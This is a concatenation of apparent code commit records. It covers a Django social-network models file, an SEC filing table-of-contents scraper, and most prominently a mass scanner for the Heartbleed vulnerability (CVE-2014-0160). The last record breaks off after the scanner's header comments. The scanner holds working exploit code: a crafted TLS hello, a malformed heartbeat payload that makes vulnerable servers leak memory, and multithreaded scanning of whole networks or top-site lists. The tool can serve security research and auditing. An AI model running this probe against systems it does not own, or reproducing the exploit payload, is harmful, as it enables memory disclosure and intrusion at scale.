    connected_chat = models.BooleanField(default=False)

class UserChattingMessage(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    user_key = models.ForeignKey(User)
    chatting_message = models.CharField(max_length=1000)
    created = models.DateTimeField(auto_now=True)

class TestModel(models.Model):
    test = models.ForeignKey(ChatRoom)
    testbaekmodel = models.CharField(max_length=1000)
    test2 = models.CharField(default='1', max_length='100')

<commit_msg>Approval model add<commit_after># -*- coding: utf-8 -*-
from django.db import models
from django.contrib.auth.models import User
from django.db.models.signals import post_save, post_syncdb
from django.shortcuts import get_object_or_404
import requests

class UserProfile(models.Model):
    user = models.OneToOneField(User)
    login_status = models.IntegerField(default=0)
    updated = models.DateTimeField(auto_now=True)
    sex = models.IntegerField(null=True)  # 1 = Male, 2 = Female
    birthday = models.DateField(null=True)
    address = models.TextField(max_length=100, null=True)
    phone = models.TextField(max_length=20, null=True)
    ki = models.IntegerField(null=True)

    def __str__(self):
        return "%s's profile" % self.user

def create_user_profile(sender, instance, created, **kwargs):
    if created:
        UserProfile.objects.get_or_create(user=instance)

post_save.connect(create_user_profile, sender=User)

class HighSchools(models.Model):
    name = models.CharField(max_length=30)

class UserToHighSchool(models.Model):
    user = models.ForeignKey(User)
    highschool = models.ForeignKey(HighSchools)
    enter = models.DateField(null=True)
    graduate = models.DateField(null=True)

class University(models.Model):
    name = models.CharField(max_length=30)

class UserToUniversity(models.Model):
    user = models.ForeignKey(User)
    university = models.ForeignKey(University)
    enter = models.DateField(null=True)
    graduate = models.DateField(null=True)
    major = models.CharField(null=True, max_length=20)

class Teams(models.Model):
    name = models.CharField(max_length=30)
    mentor = models.ForeignKey(User)

class UserToTeam(models.Model):
    user = models.ForeignKey(User)
    team = models.ForeignKey(Teams)
    joinedOn = models.DateField()

class Companies(models.Model):
    name = models.CharField(max_length=30)
    mentor = models.ForeignKey(User)

class UserToCompany(models.Model):
    user = models.ForeignKey(User)
    team = models.ForeignKey(Companies)
    enter = models.DateField(null=True)
    leave = models.DateField(null=True)
    job = models.CharField(max_length=30)

class Hobbies(models.Model):
    name = models.CharField(max_length=30)

class UserToHobby(models.Model):
    user = models.ForeignKey(User)
    hobby = models.ForeignKey(Hobbies)

class PLanguages(models.Model):
    name = models.CharField(max_length=30)

class UserToPLanguage(models.Model):
    user = models.ForeignKey(User)
    planguage = models.ForeignKey(PLanguages)

class Groups(models.Model):
    group_name = models.CharField(max_length=30)
    description = models.CharField(max_length=4096)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    isProject = models.BooleanField()
    open_scope = models.IntegerField(default=0)  # 0 = open, 1 = semi-open, 2 = close

    def open_scope_str(self):
        result = None
        if self.open_scope == 0:
            result = "모두에게 공개"
        if self.open_scope == 1:
            result = "멤버들에게만 공개"
        if self.open_scope == 2:
            result = "비공개"
        return result

class Posts(models.Model):
    user_key = models.ForeignKey(User, related_name='user_key')
    post = models.CharField(max_length=4096)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    group = models.ForeignKey(Groups, null=True)
    open_scope = models.IntegerField(default=0)    # 0 = public, 1 = private, 2 = target user, 3 = group
    target_user = models.ForeignKey(User, null=True, related_name='target_user')
    # 0 = not attached, 1 = photo, 2 = video, 3 = file, 4 = poll, 5 = rich text
    attachment_type = models.IntegerField(default=0)

def create_friend_post(sender, instance, created, **kwargs):
    if created:
        write_user = instance.user_key

        if instance.open_scope != 3:
            # 자신에게 글 저장
            # - private은 그냥 post로 처리해도 되지만 template를 따로 만들어야되는 비용이 있음
            # - 그룹에서는 멤버도 자신을 포함하므로 따로 넣어주지 않음
            FriendPosts.objects.get_or_create(user_key=write_user, friend_post_key=instance)

        if instance.open_scope == 1 and instance.target_user != write_user:
            FriendPosts.objects.get_or_create(user_key=instance.target_user, friend_post_key=instance)

        # 친구들에게 글 저장
        if instance.open_scope == 0 or instance.open_scope == 2:
            friendships = Friendships.objects.filter(user_key=write_user)
            for friendship in friendships:
                FriendPosts.objects.get_or_create(user_key=friendship.friend_user_key, friend_post_key=instance)

        elif instance.open_scope == 3:
            memberships = Memberships.objects.select_related().filter(group_key=instance.group.pk)
            if instance.group.open_scope == 0:
                members = memberships.values_list('user_key', flat=True)
                friends = Friendships.objects.select_related().filter(user_key=write_user).values_list('friend_user_key', flat=True)

                # 친구와 그룹 멤버 user id union(중복 없이)
                user_ids = list(set(list(members) + list(friends)))

                # 친구와 그룹 멤버들에게 저장
                for user_id in user_ids:
                    FriendPosts.objects.get_or_create(user_key_id=user_id, friend_post_key=instance)

            else:
                for membership in memberships:
                    FriendPosts.objects.get_or_create(user_key=membership.user_key, friend_post_key=instance)

            GroupPosts.objects.get_or_create(group_key=instance.group, post_key=instance)

post_save.connect(create_friend_post, sender=Posts)

def create_log(sender, instance, created, **kwargs):
    emotion = None
    content = None
    where_owner = None
    where = None
    link = "/post/"
    if sender == Posts:
        model_name = 'post'
        content = instance.post
        user = get_object_or_404(User, pk=instance.user_key.id)
        link += str(instance.id)+"/"

    elif sender == Comments:
        model_name = 'comment'
        content = instance.comment
        where = instance.post_key.post
        where_owner = instance.post_key.user_key.username
        user = get_object_or_404(User, pk=instance.user_key.id)
        link += str(instance.post_key.id)+"/"

    elif sender == PostEmotions:
        model_name = 'emotion'
        where = instance.post_key.post
        id_emotion = instance.emotions_ptr_id
        emotion_instance = get_object_or_404(PostEmotions, pk=id_emotion)
        emotion = emotion_instance.emotion
        where_owner = instance.post_key.user_key.username
        user = emotion_instance.user_key
        link += str(instance.post_key.id)+"/"

    log = {'type': model_name, 'user_name': user.username, 'user_id': user.id, 'content': content, 'where': where, 'where_owner': where_owner, 'emotion': emotion, 'link': link}
    r = requests.post('http://localhost:4000/', data=log)
    print r.status_code

post_save.connect(create_log, sender=Posts)

class Comments(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    comment = models.CharField(max_length=1024)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)

post_save.connect(create_log, sender=Comments)

class Emotions(models.Model):
    LIKE = 'E1'
    GOOD = 'E2'
    EMOTION_CHOICES = (
        (LIKE, 'like'),
        (GOOD, 'good'),
    )
    user_key = models.ForeignKey(User)
    emotion = models.CharField(max_length=2, choices=EMOTION_CHOICES)  # default = None?
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)

class PostEmotions(Emotions):
    post_key = models.ForeignKey(Posts)

post_save.connect(create_log, sender=PostEmotions)

class CommentEmotions(Emotions):
    comment_key = models.ForeignKey(Comments)

class UserPictures(models.Model):
    user_key = models.ForeignKey(User)
    picture = models.CharField(max_length=1000, null=False)
    name = models.CharField(max_length=1000, null=False)
    created = models.DateTimeField(auto_now=True)

class PostPictures(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    picture = models.FileField(upload_to='upload/%y/%m/%d')
    name = models.CharField(max_length=30, null=False)
    created = models.DateTimeField(auto_now=True)

class UserFileCount(models.Model):
    user_key = models.ForeignKey(User)
    file_count = models.IntegerField(auto_created=True, default=0)

class UserFiles(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    file_link = models.CharField(max_length=1000, null=False)
    file_name = models.CharField(max_length=500, null=False)
    created = models.DateTimeField(auto_now=True)
    file_type = models.CharField(max_length=100, null=False)

# Relation with friend
class Friendships(models.Model):
    user_key = models.ForeignKey(User, related_name='my_key')
    friend_user_key = models.ForeignKey(User, related_name='friend_key')
    created = models.DateTimeField(auto_now=True)

def create_friendship_each(sender, instance, created, **kwargs):
    if created:
        Friendships.objects.get_or_create(user_key=instance.friend_user_key, friend_user_key=instance.user_key)

post_save.connect(create_friendship_each, sender=Friendships)

# Relation sending friend request
class FriendshipNotis(models.Model):
    friend_noti_from_user_key = models.ForeignKey(User, related_name='request_from')
    friend_noti_to_user_key = models.ForeignKey(User, related_name='request_to')
    created = models.DateTimeField(auto_now=True)

class Notices(models.Model):
    subject = models.CharField(max_length=40)
    content = models.CharField(max_length=2000)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    # need to add files

class FriendPosts(models.Model):
    user_key = models.ForeignKey(User, related_name='my_user_key')
    friend_post_key = models.ForeignKey(Posts, related_name='friend_post_key')

class Polls(models.Model):
    post_key = models.ForeignKey(Posts, related_name='polls')
    poll = models.CharField(max_length=4000)

class Videos(models.Model):
    post_key = models.ForeignKey(Posts, related_name="videos")
    video = models.CharField(max_length=1024)

class GroupPosts(models.Model):
    group_key = models.ForeignKey(Groups)
    post_key = models.ForeignKey(Posts)

class Memberships(models.Model):
    group_key = models.ForeignKey(Groups)
    user_key = models.ForeignKey(User)
    permission = models.IntegerField(default=0)  # 0 = common, 1 = manager, 2 = owner
    created = models.DateTimeField(auto_now=True)

class MembershipNotis(models.Model):
    noti_group_key = models.ForeignKey(Groups)
    noti_user_key = models.ForeignKey(User)
    created = models.DateTimeField(auto_now=True)

#revolution chat!
class ChatRoom(models.Model):
    chat_room_name = models.CharField(max_length=1000)
    participant_count = models.IntegerField(default=0)

class ChatNotification(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    from_user_key = models.ForeignKey(User, related_name='message_from_user')
    to_user_key = models.ForeignKey(User, related_name='message_to_user')

class ChatParticipants(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    user_key = models.ForeignKey(User)
    connected_chat = models.BooleanField(default=False)

class UserChattingMessage(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    user_key = models.ForeignKey(User)
    chatting_message = models.CharField(max_length=1000)
    created = models.DateTimeField(auto_now=True)

class TestModel(models.Model):
    test = models.ForeignKey(ChatRoom)
    testbaekmodel = models.CharField(max_length=1000)
    test2 = models.CharField(default='1', max_length='100')

class Approval(models.Model):
    user_key = models.ForeignKey(User)
    friendpost_key = models.ForeignKey(FriendPosts)
    file_link = models.CharField(max_length=1000, null=False)
    file_name = models.CharField(max_length=500, null=False)
    created = models.DateTimeField(auto_now=True)
    isChecked = models.NullBooleanField()<|endoftext|>


<commit_before>import requests
from bs4 import BeautifulSoup

# TODO: rename Pages func
# TODO: rename Pages.mydict
# TODO: rename GetTableOfContents.piece
# TODO: make a funciton that puts everything through the 'pipeline'

def CleanText(text):
    """Cleaning Text."""
    text = text.replace('\u200b', " ")
    text = text.replace('ý', '`check_marked`')
    text = text.replace('• \n', '')
    text = text.replace(u'\xa0', u'')
    text = text.replace(u'\x96', u'-')
    text = text.replace(u'\n', ' ')

    return text

def Pages(text) -> dict:
    """Find Page Location by HR Tag."""
    PageNumToHR = []
    mydict = {}
    NumPages = 0
    HRTags = 0
    pageBreaks = text('hr')
    i = 0
    q = 0
    for pageBreak in pageBreaks:
        HRTags = HRTags + 1
        try:
            if pageBreak.previous_sibling.contents[0].text:
                # print(pageBreak.previous_sibling.contents[0].text)
                NumPages = NumPages + 1
                PageNumToHR.append([HRTags, NumPages])
                mydict.update({str(NumPages): str(HRTags)})
            else:
                pass
                q = q + 1
        except Exception:
            try:
                if int(pageBreak.find_previous_sibling('p').find_previous_sibling('p').text):
                    NumPages = NumPages + 1
                    PageNumToHR.append([HRTags, NumPages])
                    mydict.update({str(NumPages): str(HRTags)})
                else:
                    pass
                    q = q + 1
            except Exception:
                i = i + 1
                pass
    return mydict

def GetTableOfContents(text) -> list:
    """Get Table of Contents."""  # NOTE: Not needed after func name change, may want to change instead to output list
    tables = text('table')
    allText = []
    index = []
    i = 0
    d = 0
    for table in tables:
        if table.find('a'):
            for a in table.findAll('a'):
                tr = a.find_parent('tr')
                for string in tr.stripped_strings:
                    piece = string.split('-')
                    try:
                        if int(piece[0]) and int(piece[1]):
                            string = piece[0]
                    except Exception:
                        pass
                    allText.append(string)
    for phrase in allText:
        i = i + 1
        try:
            if int(phrase):
                numList = []
                numList.append(phrase)
                for num in range(d, i - 1):
                    numList.append(allText[num])
                d = i
                index.append(numList)
        except Exception:
            pass
    return index

def MakeTOC_Dict(listing: list) -> dict:
    """Creating Dictionary of Table of Contents Sections and Pages."""
    Toc_Dict = {}
    for l in listing:
        pageNum = 0
        myKey = []
        l[:] = [item for item in l if item != 'Table of Contents']
        for item in l:
            try:
                if int(item):
                    pageNum = int(item)
                else:
                    pass
            except Exception:
                myKey.append(item)
        for section in myKey:
            Toc_Dict.update({str(section): pageNum})
            G_allSections.append(section)
    return Toc_Dict

class Section(object):

    def __init__(self, SectionName: str, SectionStartPage: int):
        self.SectionName = SectionName
        self.SectionStartPage = SectionStartPage

    def GetSectionName(self):
        return self.SectionName

class TableOfContents(object):

    def __init__(self, ToC: dict) -> None:
        self.SectionList = []

        for SectionName, SectionStartPage in ToC.items():
            self.SectionList.append(
                Section(SectionName, SectionStartPage)
            )
        self._gen = self._YieldSection()

    def GetNextSection(self):
        return next(self._gen)

    def _YieldSection(self):
        for section in self.SectionList:
            yield section

class SecLocs(object):

    def __init__(self, SectionName):
        self.SectionName = SectionName
        self.StartPage = self.FindStartPage(SectionName)
        self.StartLoc = self.SectionPageBreaks(self.StartPage)
        self.NextSectionName = self.NextSectionName(SectionName)
        self.NextSectionStartPage = self.FindStartPage(self.NextSectionName)
        self.NextSectionStartLoc = self.SectionPageBreaks(
            self.NextSectionStartPage)
        self.StartEndPages = [self.StartPage, self.NextSectionStartPage]
        self.StartEndLocs = [self.StartLoc, self.NextSectionStartLoc]

    def FindStartPage(self, SectionName):
        """Finding Start Page of Given Section."""
        return G_TableOfContents.get(SectionName, "Section Does Not Exit")

    def SectionPageBreaks(self, StartPage):
        """Finding Location of Start Page of Given Section."""
        HR_PassedTags = pageLoc.get(str(StartPage), "Not Found")
        return int(HR_PassedTags)

    def NextSectionName(self, SectionName):
        """Findng Section Name of Next Section."""
        return G_allSections[G_allSections.index(SectionName) + 1]

def TestFilingText(typeWanted: str) -> str:
    """Get test url based on filing type."""
    #    url = "https://www.sec.gov/Archives/edgar/data/936468/000119312517210489/d410677d11k.htm"
    if typeWanted.lower() == '10-k':
        return "https://www.sec.gov/Archives/edgar/data/0001652044/000165204417000008/goog10-kq42016.htm"

    elif typeWanted.lower() == '10-q':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000014/hd_10qx04302017.htm"

    elif typeWanted.lower() == '11-k':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000026/hd_prx11kx12312016.htm"

    elif typeWanted.lower() == '8-k':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000017/hd_8kx05242017.htm"

# def Alt_TOC_Finder(url):
#     import pandas as pd
#
#     DF = pd.read_html(url)
#     for table in DF:
#         if table[0].str.contains('Item').any() and len(table.columns) > 1:
#             print(table.dropna())
#             return (table.dropna(thresh=2).reset_index(drop=True))

if __name__ == '__main__':

    url = TestFilingText('10-q')

    r = requests.get(url, stream=False)
    soup = BeautifulSoup(r.content, 'lxml')
    cleanText = CleanText(str(soup))
    soup = BeautifulSoup(cleanText, 'lxml')

    pageLoc = Pages(soup)

    TOC = GetTableOfContents(soup)

    G_allSections = []

    G_TableOfContents = MakeTOC_Dict(TOC)

    Testing = TableOfContents(G_TableOfContents)

    print(Testing.GetNextSection().GetSectionName())
    print(Testing.GetNextSection().GetSectionName())

    SectionName = G_allSections[2]

    sl = SecLocs(SectionName)
<commit_msg>Testing Using Classes<commit_after>import requests
from bs4 import BeautifulSoup

# TODO: rename Pages func
# TODO: rename Pages.mydict
# TODO: rename GetTableOfContents.piece
# TODO: make a funciton that puts everything through the 'pipeline'

def CleanText(text):
    """Cleaning Text."""
    text = text.replace('\u200b', " ")
    text = text.replace('ý', '`check_marked`')
    text = text.replace('• \n', '')
    text = text.replace(u'\xa0', u'')
    text = text.replace(u'\x96', u'-')
    text = text.replace(u'\n', ' ')

    return text

def Pages(text) -> dict:
    """Find Page Location by HR Tag."""
    PageNumToHR = []
    mydict = {}
    NumPages = 0
    HRTags = 0
    pageBreaks = text('hr')
    i = 0
    q = 0
    for pageBreak in pageBreaks:
        HRTags = HRTags + 1
        try:
            if pageBreak.previous_sibling.contents[0].text:
                # print(pageBreak.previous_sibling.contents[0].text)
                NumPages = NumPages + 1
                PageNumToHR.append([HRTags, NumPages])
                mydict.update({str(NumPages): str(HRTags)})
            else:
                pass
                q = q + 1
        except Exception:
            try:
                if int(pageBreak.find_previous_sibling('p').find_previous_sibling('p').text):
                    NumPages = NumPages + 1
                    PageNumToHR.append([HRTags, NumPages])
                    mydict.update({str(NumPages): str(HRTags)})
                else:
                    pass
                    q = q + 1
            except Exception:
                i = i + 1
                pass
    return mydict

def GetTableOfContents(text) -> list:
    """Get Table of Contents."""  # NOTE: Not needed after func name change, may want to change instead to output list
    tables = text('table')
    allText = []
    index = []
    i = 0
    d = 0
    for table in tables:
        if table.find('a'):
            for a in table.findAll('a'):
                tr = a.find_parent('tr')
                for string in tr.stripped_strings:
                    piece = string.split('-')
                    try:
                        if int(piece[0]) and int(piece[1]):
                            string = piece[0]
                    except Exception:
                        pass
                    allText.append(string)
    for phrase in allText:
        i = i + 1
        try:
            if int(phrase):
                numList = []
                numList.append(phrase)
                for num in range(d, i - 1):
                    numList.append(allText[num])
                d = i
                index.append(numList)
        except Exception:
            pass
    return index

def MakeTOC_Dict(listing: list) -> dict:
    """Creating Dictionary of Table of Contents Sections and Pages."""
    Toc_Dict = {}
    for l in listing:
        pageNum = 0
        myKey = []
        l[:] = [item for item in l if item != 'Table of Contents']
        for item in l:
            try:
                if int(item):
                    pageNum = int(item)
                else:
                    pass
            except Exception:
                myKey.append(item)
        for section in myKey:
            Toc_Dict.update({str(section): pageNum})
            G_allSections.append(section)
    return Toc_Dict

class Section(object):

    def __init__(self, SectionName: str, SectionStartPage: int):
        self.SectionName = SectionName
        self.SectionStartPage = SectionStartPage

    def GetSectionName(self):
        return self.SectionName

class TableOfContents(object):

    def __init__(self, ToC: dict) -> None:
        self.SectionList = []

        for SectionName, SectionStartPage in ToC.items():
            self.SectionList.append(
                Section(SectionName, SectionStartPage)
            )
        self._gen = self._YieldSection()

    def GetNextSection(self):
        return next(self._gen)

    def _YieldSection(self):
        for section in self.SectionList:
            yield section

class SecLocs(object):

    def __init__(self, SectionName):
        self.SectionName = SectionName
        self.StartPage = self.FindStartPage(SectionName)
        self.StartLoc = self.SectionPageBreaks(self.StartPage)
        self.NextSectionName = self.NextSectionName(SectionName)
        self.NextSectionStartPage = self.FindStartPage(self.NextSectionName)
        self.NextSectionStartLoc = self.SectionPageBreaks(
            self.NextSectionStartPage)
        self.StartEndPages = [self.StartPage, self.NextSectionStartPage]
        self.StartEndLocs = [self.StartLoc, self.NextSectionStartLoc]

    def FindStartPage(self, SectionName):
        """Finding Start Page of Given Section."""
        return G_TableOfContents.get(SectionName, "Section Does Not Exit")

    def SectionPageBreaks(self, StartPage):
        """Finding Location of Start Page of Given Section."""
        HR_PassedTags = pageLoc.get(str(StartPage), "Not Found")
        return int(HR_PassedTags)

    def NextSectionName(self, SectionName):
        """Findng Section Name of Next Section."""
        return G_allSections[G_allSections.index(SectionName) + 1]

def TestFilingText(typeWanted: str) -> str:
    """Get test url based on filing type."""
    #    url = "https://www.sec.gov/Archives/edgar/data/936468/000119312517210489/d410677d11k.htm"
    if typeWanted.lower() == '10-k':
        return "https://www.sec.gov/Archives/edgar/data/0001652044/000165204417000008/goog10-kq42016.htm"

    elif typeWanted.lower() == '10-q':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000014/hd_10qx04302017.htm"

    elif typeWanted.lower() == '11-k':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000026/hd_prx11kx12312016.htm"

    elif typeWanted.lower() == '8-k':
        return "https://www.sec.gov/Archives/edgar/data/354950/000035495017000017/hd_8kx05242017.htm"

# def Alt_TOC_Finder(url):
#     import pandas as pd
#
#     DF = pd.read_html(url)
#     for table in DF:
#         if table[0].str.contains('Item').any() and len(table.columns) > 1:
#             print(table.dropna())
#             return (table.dropna(thresh=2).reset_index(drop=True))

if __name__ == '__main__':

    url = TestFilingText('10-q')

    r = requests.get(url, stream=False)
    soup = BeautifulSoup(r.content, 'lxml')
    cleanText = CleanText(str(soup))
    soup = BeautifulSoup(cleanText, 'lxml')

    pageLoc = Pages(soup)

    TOC = GetTableOfContents(soup)

    G_allSections = []

    G_TableOfContents = MakeTOC_Dict(TOC)

    Testing = TableOfContents(G_TableOfContents)

    print(Testing.GetNextSection().GetSectionName())
    print(Testing.GetNextSection().GetSectionName())

    SectionName = G_allSections[2]

    sl = SecLocs(SectionName).FindStartPage(SectionName)
    print(sl)
<|endoftext|>


<commit_before>#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

# Quickly and dirtily modified by Mustafa Al-Bassam (mus@musalbas.com) to test
# the Alexa top X.

# Usage example: python ssltest.py top-1m.csv 10

import sys
import struct
import socket
import time
import select
import re
import threading
import netaddr
import json
import os
import datetime
import signal
from optparse import OptionParser
from collections import defaultdict
from multiprocessing.dummy import Pool

host_status = {}
hosts_to_skip = []
counter = defaultdict(int)
lock = threading.Lock()

options = OptionParser(usage='%prog <network> [network2] [network3] ...', description='Test for SSL heartbleed vulnerability (CVE-2014-0160) on multiple domains')
options.add_option('--input', '-i', dest="input_file", default=[], action="append", help="Optional input file of networks or ip addresses, one address per line")
options.add_option('--logfile', '-o', dest="log_file", default="results.txt", help="Optional logfile destination")
options.add_option('--resume', dest="resume", action="store_true", default=False, help="Do not rescan hosts that are already in the logfile")
options.add_option('--timeout', '-t', dest="timeout", default=5, help="How long to wait for remote host to respond before timing out")
options.add_option('--threads', dest="threads", default=100, help="If specific, run X concurrent threads")
options.add_option('--json', dest="json_file", default=None, help="Save data as json into this file")
options.add_option('--only-vulnerable', dest="only_vulnerable", action="store_true", default=False, help="Only scan hosts that have been scanned before and were vulnerable")
options.add_option('--only-unscanned', dest="only_unscanned", action="store_true", default=False, help="Only scan hosts that appear in the json file but have not been scanned")
options.add_option('--summary', dest="summary", action="store_true", default=False, help="Read an previously saved json file and print summary")
options.add_option('--verbose', dest="verbose", action="store_true", default=False, help="Print verbose information to screen")
options.add_option('--max', dest="max", default=None, help="Exit program after scanning X hosts. Usefull with --only-unscanned")
opts, args = options.parse_args()

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            try:
                data = s.recv(remain)
            except Exception, e:
                return None
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return False

        if typ == 24:
            hexdump(pay)
            if len(pay) > 3:
                return True
            else:
                return False

        if typ == 21:
            hexdump(pay)
            return False

def is_vulnerable(host, timeout):
    """ Check if remote host is vulnerable to heartbleed

     Returns:
        None  -- If remote host has no ssl
        False -- Remote host has ssl but likely not vulnerable
        True  -- Remote host might be vulnerable
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(int(timeout))
    try:
        s.connect((host, 443))
    except Exception, e:
        return None
    s.send(hello)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return None
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    s.send(hb)
    return hit_hb(s)

def store_results(host_name, current_status):
    current_time = time.time()
    with lock:
        counter[current_status] += 1
        counter["Total"] += 1
        if host_name not in host_status:
            host_status[host_name] = {}
        host = host_status[host_name]
        # Make a note when this host was last scanned
        host['last_scan'] = current_time

        # Make a note if this host has never been scanned before
        if 'first_scan' not in host:
            host['first_scan'] = current_time
        elif host.get('status', 'never been scanned') != current_status:
            # If it has a different check result from before
            host['changelog'] = host.get('changelog', [])
            changelog_entry = [current_time, current_status]
            host['changelog'].append(changelog_entry)
        host['status'] = current_status
        with open(opts.log_file, 'a') as f:
            message = "{current_time} {host} {current_status}".format(**locals())
            f.write(message + "\n")
            return message

def scan_host(host):
    """ Scans a single host, logs into

    Returns:
        list(timestamp, ipaddress, vulnerabilitystatus)
    """
    if opts.max and int(opts.max) >= counter["Total"]:
        return
    host = str(host)
    if host in hosts_to_skip:
        return
    result = is_vulnerable(host, opts.timeout)
    message = store_results(host, result)
    if opts.verbose:
        print message
    return message

def scan_hostlist(hostlist, threads=5):
    """ Iterates through hostlist and scans them

    Arguments:
        hostlist    -- Iterable with ip addresses
        threads     -- If specified, run in multithreading mode
    """
    threads = int(threads)
    p = Pool(processes=threads)
    p.map(scan_host, hostlist)

def clean_hostlist(args):
    """ Returns list of iterables
    Examples:
    >>> hostlist = ["127.0.0.1", "127.0.0.2"]
    >>> clean_hostlist(hostlist)
    """
    hosts = []
    networks = []
    for i in args:
        # If it contains any alphanumerics, it might be a domain name
        if any(c.isalpha() for c in i):
            # Special hack, because alexa top x list is kind of weird
            i = i.split('/')[0]
            hosts.append(i)
        # If arg contains a / we assume its a network name
        elif '/' in i:
            networks.append(netaddr.IPNetwork(i))
        else:
            hosts.append(i)
    result = []
    for i in networks:
        result.append(i)
    if hosts:
        result.append(hosts)
    return result

def import_json(filename):
    """ Reads heartbleed data in json format from this file """
    with open(filename) as f:
        json_data = f.read()
    data = json.loads(json_data)
    for k, v in data.items():
        host_status[k] = v

def export_json(filename):
    """ Save scan results into filename as json data
    """
    json_data = json.dumps(host_status, indent=4)
    with open(filename, 'w') as f:
        f.write(json_data)

def print_summary():
    """ Print summary of previously stored json data to screen """
    if not opts.json_file:
        options.error("You need to provide --json with --summary")
    import_json(opts.json_file)
    counter = defaultdict(int)
    for host, data in host_status.items():
        friendly_status = "unknown"
        status = data.get('status', "Not scanned")
        if status is None:
            friendly_status = "SSL Connection Failed"
        elif status is True:
            friendly_status = "Vulnerable"
        elif status is False:
            friendly_status = "Not Vulnerable"
        else:
            friendly_status = str(status)
        last_scan = int(float(data.get('last_scan',0)))
        last_scan = datetime.datetime.fromtimestamp(last_scan).strftime('%Y-%m-%d %H:%M:%S')
        counter[friendly_status] += 1
        counter['Total'] += 1
        if opts.only_vulnerable and not status:
            continue
        elif opts.only_unscanned and 'status' in data:
            continue
        print "%s %-20s %5s" % (last_scan, host, friendly_status)
    print "------------ summary -----------"
    for k,v in counter.items():
        print "%-7s %s" % (v, k)
    return

def signal_handler(signal, frame):
    print "Ctrl+C pressed.. aborting..."
    sys.exit(0)

def main():
    if opts.summary:
        print_summary()
        return

    if not args and not opts.input_file and not opts.json_file:
        options.print_help()
        return

    # If --resuem specified, find a list of hosts that we will skip
    if opts.resume:
        if not opts.log_file:
            options.error("You need to provide -l with --resume")
        # Open the logfile, add all hosts there into hosts_to_skip
        with open(opts.log_file) as f:
            for line in f:
                tmp = line.split()
                host = tmp[1]
                if len(tmp) != 3:
                    continue
                if host not in hosts_to_skip:
                    hosts_to_skip.append(host)
        print "Skipping %s hosts" % (len(hosts_to_skip), )

    # If any input files were provided, parse through them and add all addresses to "args"
    for input_file in opts.input_file:
        with open(input_file) as f:
            for line in f:
                words = line.split()
                if not words:
                    continue
                # If input file is in masscan's portscan format
                if line.startswith("Discovered open port"):
                    args.append(words.pop())
                elif len(words) == 1:
                    args.append(words[0])
                else:
                    print "Skipping invalid input line: " % line
                    continue
    if opts.json_file:
        try:
            import_json(opts.json_file)
        except IOError:
            print opts.json_file, "not found. Not importing any data"

        for host_name, data in host_status.items():
            if opts.only_unscanned and 'status' in data:
                continue
            if data.get('status', None) is True or not opts.only_vulnerable:
                args.append(host_name)

    # For every network in args, convert it to a netaddr network, so we can iterate through each host
    remote_networks = clean_hostlist(args)
    for network in remote_networks:
        scan_hostlist(network, threads=opts.threads)

    if opts.json_file:
        export_json(opts.json_file)

    print_summary()

if __name__ == '__main__':
    signal.signal(signal.SIGINT, signal_handler)
    main()
<commit_msg>Make ctrl+c work as expected<commit_after>#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

